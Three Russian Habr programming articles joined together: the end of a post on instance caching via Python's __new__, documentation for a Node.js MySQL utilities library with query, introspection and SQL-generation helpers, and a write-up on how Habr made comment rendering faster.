if not id in Animal.__cache__:
Animal.__cache__[id]=super().__new__(cls)
return Animal.__cache__[id]
def __init__(self, id):
self.id=id
```
Вот, вроде бы, и всё, задача решена. Думал я первые 20 минут. При расширении программы и увеличении классов я стал получать ошибку наподобии: *\_\_init\_\_() required N positional argument*
Проблема заставила меня выйти в google с поиском того, что, может, я сделал совсем всё против правил. Оказалось, [да](http://qaru.site/questions/8822/pythons-use-of-new-and-init). Они мне говорят, чтобы я не лез в метод \_\_new\_\_ без нужды, а альтернативу предложили Factory pattern.
Вкратце, Factory pattern состоит в том, что мы выделяем место, которое управляет созданием объектов. Для Python они предложили вот такой [пример](http://code.activestate.com/recipes/86900/)
```
class Factory:
def register(self, methodName, constructor, *args, **kargs):
"""register a constructor"""
_args = [constructor]
_args.extend(args)
setattr(self, methodName,apply(Functor,_args, kargs))
def unregister(self, methodName):
"""unregister a constructor"""
delattr(self, methodName)
class Functor:
def __init__(self, function, *args, **kargs):
assert callable(function), "function should be a callable obj"
self._function = function
self._args = args
self._kargs = kargs
def __call__(self, *args, **kargs):
"""call function"""
_args = list(self._args)
_args.extend(args)
_kargs = self._kargs.copy()
_kargs.update(kargs)
return apply(self._function,_args,_kargs)
```
Нам позволено создавать объекты только с помощью методов класса Factory. При том, что мы можем абсолютно его не использовать и создавать объекты напрямую. В общем, такое решение, может, и правильное, но мне не понравилось, поэтому я решил поискать решение в собственном коде.
Немного изучения процесса создания дало мне ответ. Создание объекта (вкратце) происходит следующим образом: сначала вызывается метод \_\_new\_\_, в который передаётся класс и все аргументы конструктора, этот метод создаёт объект и возвращает его. Позже вызывается метод \_\_init\_\_ класса, к которому принадлежит объект.
Абстрагированный код:
```
def __new__(cls, id, b, k, zz):
return super().__new__(cls)
def __init__(self, id, b, k, zz):
# anything
self.id=id
obj=Animal.__new__(Animal, 1, 2, k=3, zz=4)
obj.__class__.__init__(obj, 1, 2, k=3, zz=4)
```
Проблема вылезла при следующем действии. Например, я добавляю класс Cat
```
class Cat(Animal):
data="data"
def __init__(self, id, b, k, zz, variable, one_more_variable):
# anything
pass
```
Как видите, конструкторы у классов разные. Представим, что мы уже создали объект Animal с id=1. Позже создаём элемент Cat с id=1.
Объект класса Animal с id=1 уже существует, так что по логике вещей объект класса Cat не должен создаться. В общем, он этого и не делает, а завершает ошибку с тем, что \_\_init\_\_ передано разное количество аргументов.
Как Вы поняли, он пытается создать элемент класса Cat, но позже вызывает конструктор класса Animal. Мало того, что он вызывает не тот конструктор, совсем плохим результатом является то, что даже если бы мы снова создавали Animal с id=1, конструктор для одного и того же объекта вызвался повторно. И, возможно, перезаписал бы все данные и сделал бы нежелательные действия.
Нехорошо. Ещё есть смысл отступить и создать фабрику по производству объектов.
Но ведь мы пишем на Python, самом гибком и красивом языке, почему мы должны идти на уступки.
Как оказалось, решение есть:
```
class Animal:
__cache__=dict()
__tmp__=None
def __fake_init__(self, *args, **kwargs):
self.__class__.__init__=Animal.__tmp__
Animal.__tmp__=None
def __new__(cls, id):
if not id in Animal.__cache__:
Animal.__cache__[id]=super().__new__(cls)
else:
Animal.__tmp__=Animal.__cache__[id].__class__.__init__
Animal.__cache__[id].__class__.__init__=Animal.__fake_init__
return Animal.__cache__[id]
def __init__(self, id):
self.id=id
```
Вызов конструктора отключить было невозможно, после выполнения \_\_new\_\_ беспрекословно шёл вызов функции \_\_init\_\_ из класса созданного (или нет, как в нашем случае) объекта. Выход был один — заменить \_\_init\_\_ в классе созданного объекта. Чтобы не потерять конструктор класса, я его сохранил в какую-нибудь переменную и позже вместо него подсунул фейковый конструктор, который потом вызывался при «создании» объекта. Но фейковый конструктор не пустой, он именно и занимается тем, что возвращает старый конструктор на своё место.
Скажу напоследок, что, возможно, я крайне не прав, я заочно понял, что мой код противоречит предостережениям, даже в официальных сообществах разработчиков Python говорят, что трогать \_\_new\_\_ можно только при наследовании от итеративных типов, типа списков, кортежей и т.п. Но, как мне кажется, иногда стоит перейти рамки приличия лишь для того, чтобы позже можно было спокойно писать.
```
an1=Animal(1)
an2=Animal(1)
cat1=Cat(1)
```
и не беспокоиться о проблемах.
Спасибо за внимание! | https://habr.com/ru/post/339272/ | null | ru | null |
# Удобства на улице для MySQL драйвера в Node.js
Кто пишет на Node.js и использует MySQL, тот непременно знает, что наш дорогой товарищ [**Felix Geisendörfer**](https://github.com/felixge) три года назад совершил героический и самоотверженный подвиг: в одиночку разработал очень [качественный **драйвер**](https://github.com/felixge/node-mysql) для подключения к MySQL, **нативно реализовав двоичный протокол** этой СУБД на JavaScript. Потом к проекту подключились другие уважаемые товарищи, была реализована поддержка пулов соединений, кластеров, транзакций, восстановление при временной утере соединения и т.д. Сейчас [драйвер](https://npmjs.org/package/mysql) является самым развитым, хорошо проработанным и активно поддерживаемым из того, что мы имеем в открытых репозитариях npm и github. **Удивительно** даже, что при хорошо проработанной низкоуровневой реализации, **все удобства**, которые предоставляет это драйвер для прикладного разработчика, сводятся к одному методу query. Для меня лично, этого очень мало, ну привык дедушка к удобствам для возврата скалярных значений, строк и столбцов в массивы, интроспекции структур БД. Так что, с удовольствием делюсь этими наработками с вами, мои дорогие Хабравчане, но предупреждаю, что все удобства **будут на улице**. Есть конечно вариант тесной интеграции с драйвером, но [FelixGe желает](https://github.com/felixge/node-mysql/pull/546#issuecomment-26407587) оставить драйвер исключительно низкоуровневым, поэтому я остановился на варианте [внешней библиотеки](https://github.com/tshemsedinov/node-mysql-utilities) с добавлением к драйверу через примеси. В виде примесей, удобства попали и в платформу [Impress](http://habrahabr.ru/post/194250/), а так же, опубликованы как патч к драйверу. О функционале и вариантах использования далее.
#### Удобства выборки данных
Далее, под словом «возвращает» буду разуметь второй параметр callback, а не результат вызова функции.
Выборка **одной записи**: connection.**queryRow**(sql, values, callback) возвращает хеш (ассоциативный массив), в котором имена полей становятся ключами (вместо того, чтобы получать массив в массиве через query).
**Пример**
```
connection.queryRow('SELECT * FROM Language where LanguageId=?', [3], function(err, row) {
console.dir({queryRow:row});
/* Example:
queryRow: {
LanguageId: 3,
LanguageName: 'Russian',
LanguageSign: 'ru',
LanguageISO: 'ru',
Caption: 'Русский'
}
*/
});
```
Выборка **скаляра** (то есть единичного значения): connection.**queryValue**(sql, values, callback) возвращает одно значение (вместо того, чтобы получать массив в массиве с одним значением). Удобно при выборке одного пол из одной записи, например Id по имени с указанием LIMIT 1 или функций count(\*), max(field) и т.д.
**Пример**
```
connection.queryValue('SELECT LanguageName FROM Language where LanguageId=?', [8],
function(err, name) {
console.dir({queryValue:name});
/* Example:
queryValue: 'Italiano'
*/
});
```
Выборка **одной колонки**: connection.**queryCol**(sql, values, callback) возвращает массив, заполненный значениями одного поля для каждой записи, из результата выполнения запроса. То есть, это выборка вертикальной колонки, в отличие от выборки горизонтальной записи queryRow.
**UPD:** [gelas](https://habrahabr.ru/users/gelas/) убедил меня переименовать queryArray в queryCol по аналогии с queryRow.
**Пример**
```
connection.queryCol('SELECT LanguageSign FROM Language', [], function(err, result) {
console.dir({queryCal:result});
/* Example:
queryArray: [ 'de', 'en', 'es', 'fr', 'it', 'pl', 'ru', 'ua' ]
*/
});
```
Выборка **хеша**: connection.**queryHash**(sql, values, callback) возвращает хеш (ассоциативный массив) двухуровневой вложенности, где ключи первого уровня — значения первого поля из результата выполнения запроса, а ключи второго уровня — все поля результата запроса (включая и первое).
**Пример**
```
connection.queryHash(
'SELECT LanguageSign, LanguageId, LanguageName, Caption, LanguageISO FROM Language', [],
function(err, result) {
console.dir({queryHash:result});
/* Example:
queryHash: {
en: {
LanguageSign: 'en',
LanguageId: 2,
LanguageName: 'English',
Caption: 'Английский',
LanguageISO: 'en' },
ru: {
LanguageSign: 'ru',
LanguageId: 3,
LanguageName: 'Russian',
Caption: 'Русский',
LanguageISO: 'ru' },
de: {
LanguageSign: 'de',
LanguageId: 7,
LanguageName: 'Deutsch',
Caption: 'Немецкий',
LanguageISO: 'de' },
it: {
LanguageSign: 'it',
LanguageId: 8,
LanguageName: 'Italiano',
Caption: 'Итальянский',
LanguageISO: 'it'
}
}
*/
});
```
Выборка **пар ключ/значение**: connection.**queryKeyValue**(sql, values, callback) возвращает хеш (ассоциативный массив), где ключом будет первое поле из результата запроса запросе.
**Пример**
```
connection.queryKeyValue(
'SELECT LanguageISO, LanguageName FROM Language', [], function(err, keyValue) {
console.dir({queryKeyValue:keyValue});
/* Example:
keyValue: {
en: 'English',
ru: 'Russian',
uk: 'Ukrainian',
es: 'Espanol',
fr: 'Francais',
de: 'Deutsch',
it: 'Italiano',
pl: 'Poliski'
}
*/
});
```
#### Удобства интроспекции
То есть, удобства получения метаданных, структур и параметров базы для их анализа и автоматического построения логики или интерфейсов по работы с этой базой.
Получение **первичного ключа**: connection.**primary**(table, callback) возвращает хеш (ассоциативный массив), с метаданными о первичном ключе, см. набор метаданных в примере.
**Пример**
```
connection.primary('Language', function(err, primary) {
console.dir({primary:primary});
/* Example:
primary: {
Table: 'language',
Non_unique: 0,
Key_name: 'PRIMARY',
Seq_in_index: 1,
Column_name: 'LanguageId',
Collation: 'A',
Cardinality: 9,
Sub_part: null,
Packed: null,
Null: '',
Index_type: 'BTREE',
Comment: '',
Index_comment: ''
}
*/
});
```
Получение **внешних ключей**: connection.**foreign**(table, callback) возвращает хеш (ассоциативный массив), с двойной вложенностью, на первом уровне имена внешних ключей, а на втором — метаданные, описывающие этот ключ. Набор полей см. в примере.
**Пример**
```
connection.foreign('TemplateCaption', function(err, foreign) {
console.dir({foreign:foreign});
/* Example:
foreign: {
fkTemplateCaptionLanguage: {
CONSTRAINT_NAME: 'fkTemplateCaptionLanguage',
COLUMN_NAME: 'LanguageId',
ORDINAL_POSITION: 1,
POSITION_IN_UNIQUE_CONSTRAINT: 1,
REFERENCED_TABLE_NAME: 'language',
REFERENCED_COLUMN_NAME: 'LanguageId' },
fkTemplateCaptionTemplate: {
CONSTRAINT_NAME: 'fkTemplateCaptionTemplate',
COLUMN_NAME: 'TemplateId',
ORDINAL_POSITION: 1,
POSITION_IN_UNIQUE_CONSTRAINT: 1,
REFERENCED_TABLE_NAME: 'template',
REFERENCED_COLUMN_NAME: 'TemplateId'
}
*/
});
```
Получение **ограничений целостности**: connection.**constraints**(table, callback) возвращает хеш (ассоциативный массив), с двойной вложенностью, на первом уровне имена ограничений целостности, а на втором — метаданные, описывающие каждое ограничение. Набор полей см. в примере.
**Пример**
```
connection.constraints('TemplateCaption', function(err, constraints) {
console.dir({constraints:constraints});
/* Example:
constraints: {
fkTemplateCaptionLanguage: {
CONSTRAINT_NAME: 'fkTemplateCaptionLanguage',
UNIQUE_CONSTRAINT_NAME: 'PRIMARY',
REFERENCED_TABLE_NAME: 'Language',
MATCH_OPTION: 'NONE',
UPDATE_RULE: 'RESTRICT',
DELETE_RULE: 'CASCADE' },
fkTemplateCaptionTemplate: {
CONSTRAINT_NAME: 'fkTemplateCaptionTemplate',
UNIQUE_CONSTRAINT_NAME: 'PRIMARY',
REFERENCED_TABLE_NAME: 'Template',
MATCH_OPTION: 'NONE',
UPDATE_RULE: 'RESTRICT',
DELETE_RULE: 'CASCADE'
}
}
*/
});
```
Получение метаданных **о полях таблицы**: connection.**fields**(table, callback) возвращает массив с метаданными для каждого поля, в том чисте имя, тип, все модификаторы и флаги, комментарии (подробнее см. пример).
**Пример**
```
connection.fields('Language', function(err, fields) {
console.dir({fields:fields});
/* Example:
fields: {
LanguageId: {
Field: 'LanguageId',
Type: 'int(10) unsigned',
Collation: null,
Null: 'NO',
Key: 'PRI',
Default: null,
Extra: 'auto_increment',
Privileges: 'select,insert,update,references',
Comment: 'Id(EN),Код(RU)' },
LanguageName: {
Field: 'LanguageName',
Type: 'varchar(32)',
Collation: 'utf8_general_ci',
Null: 'NO',
Key: 'UNI',
Default: null,
Extra: '',
Privileges: 'select,insert,update,references',
Comment: 'Name(EN),Имя(RU)'
}, ...
}
*/
});
```
Получение списка **баз данных** доступных по данному соединению: connection.**databases**(callback) возвращает массив имен баз (или «схем», как их иногда называют).
**Пример**
```
connection.databases(function(err, databases) {
console.dir({databases:databases});
/* Example:
databases: [ 'information_schema', 'mezha', 'mysql', 'performance_schema', 'test' ]
*/
});
```
Получение списка **таблиц** для базы данных, выбранной текущей для данного соединения: connection.**tables**(callback) возвращает хеш (ассоциативный массив) двойной вложенности, где на первом уровне ключи — имена таблиц, а на втором — метаданные для каждой таблицы.
**Пример**
```
connection.tables(function(err, tables) {
console.dir({tables:tables});
/* Example:
tables: {
Language: {
TABLE_NAME: 'Language',
TABLE_TYPE: 'BASE TABLE',
ENGINE: 'InnoDB',
VERSION: 10,
ROW_FORMAT: 'Compact',
TABLE_ROWS: 9,
AVG_ROW_LENGTH: 1820,
DATA_LENGTH: 16384,
MAX_DATA_LENGTH: 0,
INDEX_LENGTH: 49152,
DATA_FREE: 8388608,
AUTO_INCREMENT: 10,
CREATE_TIME: Mon Jul 15 2013 03:06:08 GMT+0300 (Финляндия (лето)),
UPDATE_TIME: null,
CHECK_TIME: null,
TABLE_COLLATION: 'utf8_general_ci',
CHECKSUM: null,
CREATE_OPTIONS: '',
TABLE_COMMENT: '_Language:Languages(EN),Языки(RU)'
}, ...
}
*/
});
```
**UPD:** Получение списка **таблиц** для указанной базы данных: connection.**databaseTables**(database, callback) возвращает хеш (ассоциативный массив) двойной вложенности, где на первом уровне ключи — имена таблиц, а на втором — метаданные для каждой таблицы.
**Пример**
```
connection.databaseTables("databaseName", function(err, tables) {
console.dir({databaseTables:tables});
/* Example:
tables: {
Language: {
TABLE_NAME: 'Language',
TABLE_TYPE: 'BASE TABLE',
ENGINE: 'InnoDB',
VERSION: 10,
ROW_FORMAT: 'Compact',
TABLE_ROWS: 9,
AVG_ROW_LENGTH: 1820,
DATA_LENGTH: 16384,
MAX_DATA_LENGTH: 0,
INDEX_LENGTH: 49152,
DATA_FREE: 8388608,
AUTO_INCREMENT: 10,
CREATE_TIME: Mon Jul 15 2013 03:06:08 GMT+0300 (Финляндия (лето)),
UPDATE_TIME: null,
CHECK_TIME: null,
TABLE_COLLATION: 'utf8_general_ci',
CHECKSUM: null,
CREATE_OPTIONS: '',
TABLE_COMMENT: '_Language:Languages(EN),Языки(RU)'
}, ...
}
*/
});
```
Получение **метаданных указанной таблицы**: connection.**tableInfo**(table, callback) возвращает хеш (ассоциативный массив) с метаданными (подробнее см. в примере).
**Пример**
```
connection.tableInfo('Language', function(err, info) {
console.dir({tableInfo:info});
/* Example:
tableInfo: {
Name: 'language',
Engine: 'InnoDB',
Version: 10,
Row_format: 'Compact',
Rows: 9,
Avg_row_length: 1820,
Data_length: 16384,
Max_data_length: 0,
Index_length: 49152,
Data_free: 9437184,
Auto_increment: 10,
Create_time: Mon Jul 15 2013 03:06:08 GMT+0300 (Финляндия (лето)),
Update_time: null,
Check_time: null,
Collation: 'utf8_general_ci',
Checksum: null,
Create_options: '',
Comment: ''
}
*/
});
```
Получение метаданных о **всех ключах данной таблицы**: connection.**indexes**(table, callback) возвращает хеш (ассоциативный массив)? ключами первого уровня в нем являются имена ключей базы данных (), а ключами второго уровня — метаданные о каждом ключе (см. пример для подробного списка метаданных).
**Пример**
```
connection.indexes('Language', function(err, info) {
console.dir({tableInfo:info});
/* Example:
indexes: {
PRIMARY: {
Table: 'language',
Non_unique: 0,
Key_name: 'PRIMARY',
Seq_in_index: 1,
Column_name: 'LanguageId',
Collation: 'A',
Cardinality: 9,
Sub_part: null,
Packed: null,
Null: '',
Index_type: 'BTREE',
Comment: '',
Index_comment: '' },
akLanguage: {
Table: 'language',
Non_unique: 0,
Key_name: 'akLanguage',
Seq_in_index: 1,
Column_name: 'LanguageName',
Collation: 'A',
Cardinality: 9,
Sub_part: null,
Packed: null,
Null: '',
Index_type: 'BTREE',
Comment: '',
Index_comment: ''
}
}
*/
});
```
Получение **процессов на сервере** MySQL: connection.**processes**(callback) возвращает массив хешей, где для каждого процесса даны его параметры.
**Пример**
```
connection.processes(function(err, processes) {
console.dir({processes:processes});
/* Example:
processes: [ {
ID: 62,
USER: 'mezha',
HOST: 'localhost:14188',
DB: 'mezha',
COMMAND: 'Query',
TIME: 0,
STATE: 'executing',
INFO: 'SELECT * FROM information_schema.PROCESSLIST'
}, {
ID: 33,
USER: 'root',
HOST: 'localhost:39589',
DB: null,
COMMAND: 'Sleep',
TIME: 1,
STATE: '',
INFO: null
} ]
*/
});
```
Получение **глобальных переменных** MySQL: connection.**globalVariables**(callback)
**Пример**
```
connection.globalVariables(function(err, globalVariables) {
console.dir({globalVariables:globalVariables});
/* Example:
globalVariables: {
MAX_PREPARED_STMT_COUNT: '16382',
MAX_JOIN_SIZE: '18446744073709551615',
HAVE_CRYPT: 'NO',
PERFORMANCE_SCHEMA_EVENTS_WAITS_HISTORY_LONG_SIZE: '10000',
INNODB_VERSION: '5.5.32',
FLUSH_TIME: '1800',
MAX_ERROR_COUNT: '64',
...
}
*/
});
```
Получение **глобального статуса** MySQL: connection.**globalStatus**(callback)
**Пример**
```
connection.globalStatus(function(err, globalStatus) {
console.dir({globalStatus:globalStatus});
/* Example:
globalStatus: {
ABORTED_CLIENTS: '54',
ABORTED_CONNECTS: '2',
BINLOG_CACHE_DISK_USE: '0',
BINLOG_CACHE_USE: '0',
BINLOG_STMT_CACHE_DISK_USE: '0',
BINLOG_STMT_CACHE_USE: '0',
BYTES_RECEIVED: '654871',
BYTES_SENT: '212454927',
COM_ADMIN_COMMANDS: '594',
...
}
*/
});
```
Получение **списка пользователей** MySQL: connection.**users**(callback)
**Пример**
```
connection.users(function(err, users) {
console.dir({users:users});
/* Example:
users: [
{
Host: 'localhost',
User: 'root',
Password: '*90E462C37378CED12064BB3388827D2BA3A9B689',
Select_priv: 'Y',
Insert_priv: 'Y',
Update_priv: 'Y',
Delete_priv: 'Y',
Create_priv: 'Y',
Drop_priv: 'Y',
Reload_priv: 'Y',
Shutdown_priv: 'Y',
Process_priv: 'Y',
File_priv: 'Y',
Grant_priv: 'Y',
References_priv: 'Y',
Index_priv: 'Y',
Alter_priv: 'Y',
Show_db_priv: 'Y',
Super_priv: 'Y',
Create_tmp_table_priv: 'Y',
Lock_tables_priv: 'Y',
Execute_priv: 'Y',
Repl_slave_priv: 'Y',
Repl_client_priv: 'Y',
Create_view_priv: 'Y',
Show_view_priv: 'Y',
Create_routine_priv: 'Y',
Alter_routine_priv: 'Y',
Create_user_priv: 'Y',
Event_priv: 'Y',
Trigger_priv: 'Y',
Create_tablespace_priv: 'Y',
ssl_type: '',
ssl_cipher: ,
x509\_issuer: ,
x509\_subject: ,
max\_questions: 0,
max\_updates: 0,
max\_connections: 0,
max\_user\_connections: 0,
plugin: '',
authentication\_string: ''
}, ...
]
\*/
});
```
#### Удобства генерации запросов
Ну и совсем уже барские удобства, позволяющие генерировать SQL или полностью или отдельные WHERE выражения. Я сам не сторонник такого сахара, но иногда бывает нужно автоматизировать генерацию запросов, которые заранее не известны и я позволяю себе такую роскошь.
**Генерация условий**: connection.**where**(conditions) работает синхронно, а не асинхронно, как другие функции, т.е. не использует callback. Возвращает построенное WHERE выражение SQL для conditions, описанных в стиле JSON. Нужно обязательно смотреть пример для понимания:
**Пример**
```
var where = connection.where({
id: 5,
year: ">2010",
price: "100..200",
level: "<=3",
sn: "*str?",
label: "str",
code: "(1,2,4,10,11)"
});
console.dir(where);
// Output: "id = 5 AND year > '2010' AND (price BETWEEN '100' AND '200') AND
// level <= '3' AND sn LIKE '%str_' AND label = 'str' AND code IN (1,2,4,10,11)"
```
**Выборка** с условием: connection.**select**(table, whereFilter, callback)
**Пример**
```
connection.select('Language', '*', { LanguageId: "1..3" }, function(err, results) {
console.dir({select:results});
});
```
**Вставка** записи: connection.**insert**(table, row, callback)
**Пример**
```
connection.insert('Language', {
LanguageName: 'Tatar',
LanguageSign:'TT',
LanguageISO:'TT',
Caption:'Tatar'
}, function(err, recordId) {
console.dir({insert:recordId});
});
```
**Изменение** записи: connection.**update**(table, row, callback)
**Пример**
```
connection.update('Language', {
LanguageId: 25,
LanguageName:'Tatarca',
LanguageSign:'TT',
LanguageISO:'TT',
Caption:'Tatarca'
}, function(err, affectedRows) {
console.dir({update:affectedRows});
});
```
**Вставка**, если нет такой записи или **изменение**, если она уже есть: connection.**upsert**(table, row, callback)
**Пример**
```
connection.upsert('Language', {
LanguageId: 25,
LanguageName:'Tatarca',
LanguageSign:'TT',
LanguageISO:'TT',
Caption:'Tatarca'
}, function(err, affectedRows) {
console.dir({upsert:affectedRows});
});
```
Получение **количества записей** в таблице по заданному фильтру или без фильтра: connection.count(table, whereFilter, callback)
**Пример**
```
connection.count('Language', { LanguageId: ">3" }, function(err, count) {
console.dir({count:count});
/* Example:
count: 9
*/
});
```
**Удаление** записи или нескольких записей: connection.**delete**(table, whereFilter, callback)
**Пример**
```
connection.delete('Language', { LanguageSign:'TT' }, function(err, affectedRows) {
console.dir({delete:affectedRows});
});
```
#### Варианты использования
**UPD:** Предпочтительно использовать [независимый модуль](https://github.com/tshemsedinov/node-mysql-utilities), с более высоким уровнем абстракции, чем просто драйвер, но не такого высокого уровня как ORM библиотеки. Я не хочу делать из этого громоздкую вещь, и хочу оставить возможность добавлять функционал к соединению через примеси (только нужные) группы функций.
Делается это так:
```
// Library dependencies
var mysql = require('mysql'),
mysqlUtilities = require('utilities');
var connection = mysql.createConnection({
host: 'localhost',
user: 'userName',
password: 'secret',
database: 'databaseName'
});
connection.connect();
// Mix-in for Data Access Methods and SQL Autogenerating Methods
mysqlUtilities.upgrade(connection);
// Mix-in for Introspection Methods
mysqlUtilities.introspection(connection);
// Do something using utilities
connection.queryRow(
'SELECT * FROM _Language where LanguageId=?', [3],
function(err, row) {
console.dir({queryRow:row});
}
);
// Release connection
connection.end();
```
Есть, также, патч к драйверу node-mysql со всеми, приведенными выше функциями: <https://github.com/felixge/node-mysql>
И третий вариант использования, это сервер приложений [Impress](https://github.com/tshemsedinov/impress) для Node.js, в который встроена эта библиотека. Две группы функций по выборке в Impress есть сразу у всех подключений к MySQL, они примешиваются автоматически, при открытии соединения, и только интроспекцию можно добавить через конфиг где нужно раскомментировать соответствующий плагин, чтобы набор плагинов для MySQL был такой:
```
plugins: {
require: [
"db",
"db.mysql",
"db.mysql.introspection",
...
]
},...
```
Тогда плагин автоматически примешается к каждому соединению: if (db.mysql.introspection) db.mysql.introspection(connection);
Тут искодники плагинов к [Impress](http://habrahabr.ru/post/194250/):
* <https://github.com/tshemsedinov/impress/blob/master/lib/db.mysql.js>
* <https://github.com/tshemsedinov/impress/blob/master/lib/db.mysql.introspection.js>
#### Ссылки
**UPD:** На момент написания статьи, было два вариант реализации (как патч к драйверу и как модули для Impress), но опрос убедительно показал, что имеет смысл потратить время и оформить эту библиотеку отдельным модулем. Это и было сделано уже к вечеру того же дня. Но опрос я не закрываю, чтоб определить все же степень полезности этих удобств.
Основной вариант использования находится тут:
В Github: <https://github.com/tshemsedinov/node-mysql-utilities>
В репозитории nmp: <https://npmjs.org/package/mysql-utilities> | https://habr.com/ru/post/198738/ | null | ru | null |
# Как мы ускоряли комментарии Хабра
Комментарии на Хабре иногда несут больше пользы, чем сама статья. Поэтому при переходе на новую версию сайта было важно сделать работу с комментами не хуже, чем было.
Вы когда-нибудь открывали в старом дизайне Хабра пост с большим числом комментариев? Страничка даже с тысячей сообщений грузится шустро, на ней без серьёзных задержек работает форма для ответа, кнопки голосования и закладок. Но когда мы начали переход на новую версию Хабра, стало понятно, что добиться такой же скорости будет непросто.
Этому есть несколько причин. Во-первых, Хабр стал [одностраничным приложением](https://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%BD%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5) (SPA, Single Page Application) на [Vue](https://vuejs.org/), то есть теперь переходы между страницами рисуются на клиенте с помощью JS вместо классического [серверного рендеринга](https://developers.google.com/web/updates/2019/02/rendering-on-the-web?hl=ru) (Server-Side Rendering, SSR). Такие SPA-страницы отображаются быстрее на современных устройствах, но на старых девайсах могут тормозить.
Во-вторых, движок старого Хабра — это больше десяти лет оптимизаций, костылей и заплаток. Вполне естественно, что если попытаться переписать их с нуля на современных технологиях, придётся учесть эту историю поиска и устранения бутылочных горлышек в производительности.
В октябре мы постепенно выкатывали на часть пользователей обновлённую версию комментариев, над которой трудились последние полгода. Наши новые комментарии должны рендериться быстрее и доставлять удовольствие всем, а не только [обладателям топовых MacBook Pro c M1 Max.](https://habr.com/ru/news/t/587868/)
Давайте посмотрим, как работали комментарии полгода назад, до того, как мы начали работу по оптимизации.
Полгода назад в угоду производительности комментарии «прятались» на отдельной странице за одноимённой кнопкой. Да, это не всегда удобно, особенно если вы привыкли к старому Хабру, где обсуждения выводились прямо под статьёй. Зато статья загружалась сразу, прогрузки комментариев для её чтения ждать не приходилось.
*Та самая кнопка*
Второе неудобство: простое открытие страницы с комментариями в новой вкладке иногда растягивалось на десятки секунд. Это уже связано с тем, что серверный рендеринг — операция дорогая. Кэширование SSR работало только для гостей и с низким сроком жизни.
Ну и в-третьих, навигация по сайту в режиме SPA (без перезагрузки страницы) оставляла желать лучшего. Если у вас медленный смартфон, то вы имели шанс вообще не увидеть комментарии: память кончалась быстрее, чем успевали отработать скрипты и рендеринг.
Мы провели глубокий анализ проблем с комментариями и нашли несколько решений по ускорению рендеринга. Наша задача подразумевала максимальные улучшения ценой минимальных усилий. Поэтому всю работу мы разбили на три итерации, повышая сложность каждый раз, когда решений попроще уже не хватало.
За шесть месяцев мы перепробовали многое — сегодня рассказываем про результат и путь к нему.
Первая итерация: принудительный SSR
-----------------------------------
Чтобы что-то улучшать, нужно это измерить. Для начала мы замерили скорость отрисовки комментариев на клиенте и на сервере. Оказалось, что мобильные устройства сильно проигрывают по скорости серверу, когда число комментариев переваливает за сотни. График ниже показывает, в какой момент это случается.
*Общее время для загрузки комментариев*
Чтобы создать ощущение, что комментарии рисуются быстрее, с определённого порога нужно переключаться на исключительно серверный рендеринг. Для этого мы создали условие: по достижению 600 комментариев страница должна загружаться именно через серверный рендеринг.
Но просто заставить некоторые страницы рисоваться сервером было недостаточно. Такой временный отказ от SPA нужно было сделать максимально незаметным для пользователя, который привык к тому, что нажатия по ссылкам приводят к мгновенным переходам.
### Ленивая гидратация
Чтобы запустить приложение Хабра, всю разметку с сервера необходимо «гидрировать» на клиенте, иными словами — убедиться, что отрисовалось именно то, что нужно. Но нет никакого смысла пытаться на старте приложения проверять абсолютно все комментарии на корректную отрисовку, потому что пользователь своими глазами видит лишь малую их часть.
Нам повезло, что существует готовое решение этой проблемы: [vue-lazy-hydration](https://github.com/maoberlehner/vue-lazy-hydration). Этот компонент умеет «откладывать» гидратацию и принудительно запускать её по определённым правилам. Мы взяли за основу стратегию, которая работает через [Intersection Observer](https://developer.mozilla.org/ru/docs/Web/API/Intersection_Observer_API): она проверяет, что элемент попал во вьюпорт, и только тогда запускает процесс его гидратации.
Улучшения оказались значительными. После применения такой оптимизации запуск приложения ускорился в 5–10 раз в зависимости от количества комментариев.
### Предотвращение избыточной перерисовки
Производительность на клиенте вырастет, если предотвратить избыточную перерисовку страницы ([forced reflow](https://gist.github.com/paulirish/5d52fb081b3570c81e3a)).
Мы обратили внимание, что используемая библиотека [vue-check-view](https://github.com/vtimofeev/vue-check-view) обращается к свойству [window.pageYOffset](https://github.com/vtimofeev/vue-check-view/blob/master/index.js#L47) слишком рано, причём на всех страницах. Из-за этого перерасчёт стилей происходил фактически два раза: до запуска приложения и после.
После отказа от этой библиотеки и переписывания кода на Intersection Observer время перерасчёта стилей упало в два раза.
Вторая итерация: рендеринг на клиенте
-------------------------------------
Наконец-то мы включили отрисовку комментариев прямо под статьёй, но не везде, а где их меньше 300. Предыдущие замеры говорили, что такая отсечка — решение разумное: жизнь на медленных устройствах этот переход не испортил бы.
### Ленивый рендеринг
При этом комментарии под статьёй рисовались не серверным рендерингом. Пойти на это пришлось, чтобы открывшему статью читателю не приходилось ждать впустую отрисовки комментариев, что в свою очередь будет замедлять отрисовку статьи.
Мы в очередной раз взяли Intersection Observer и возложили рендеринг комментариев под статьй исключительно на браузер. Отрисовка вызывалась только тогда, когда пользователь действительно закончил читать статью и был готов перейти к комментариям.
Так мы и серверные ресурсы сберегли, и взаимодействие с комментариями сделали приятней.
### Content Visibility
В арсенал схватки за производительность попало новое свойство CSS: [content-visibility](https://developer.mozilla.org/en-US/docs/Web/CSS/content-visibility).
В упрощённом объяснении работа этого свойства очевидна. Пока элемент находится во вьюпорте, браузер рассчитывает для него все три фазы отрисовки — layout, paint и composition. Как только элемент исчезает из вьюпорта, то эти фазы перестают выполняться.
Это приводит к неприятному эффекту: интерфейс начинает прыгать. Так происходит потому, что высота элемента в этот момент становится нулевой и, соответственно, интерфейс перестраивается с учётом этой высоты. Чтобы избежать прыжков в интерфейсе, есть отдельное свойство [contain-intrinsic-size](https://developer.mozilla.org/en-US/docs/Web/CSS/contain-intrinsic-size), которое позволяет указать размеры элемента и, таким образом, сохранить корректное положение остальных элементов.
Применение этого свойства для элементов с фиксированной высотой (шапка и футер комментария) позволило нам ускорить [фазу layout](https://developers.google.com/web/fundamentals/performance/rendering#%D0%9A%D0%BE%D0%BD%D0%B2%D0%B5%D0%B9%D0%B5%D1%80_%D0%BF%D0%B8%D0%BA%D1%81%D0%B5%D0%BB%D0%B5%D0%B9) у отрисовки комментариев примерно в 2 раза.
На этом вторая фаза наших оптимизаций подошла к концу, и простые решения закончились. Осталось самое интересное.
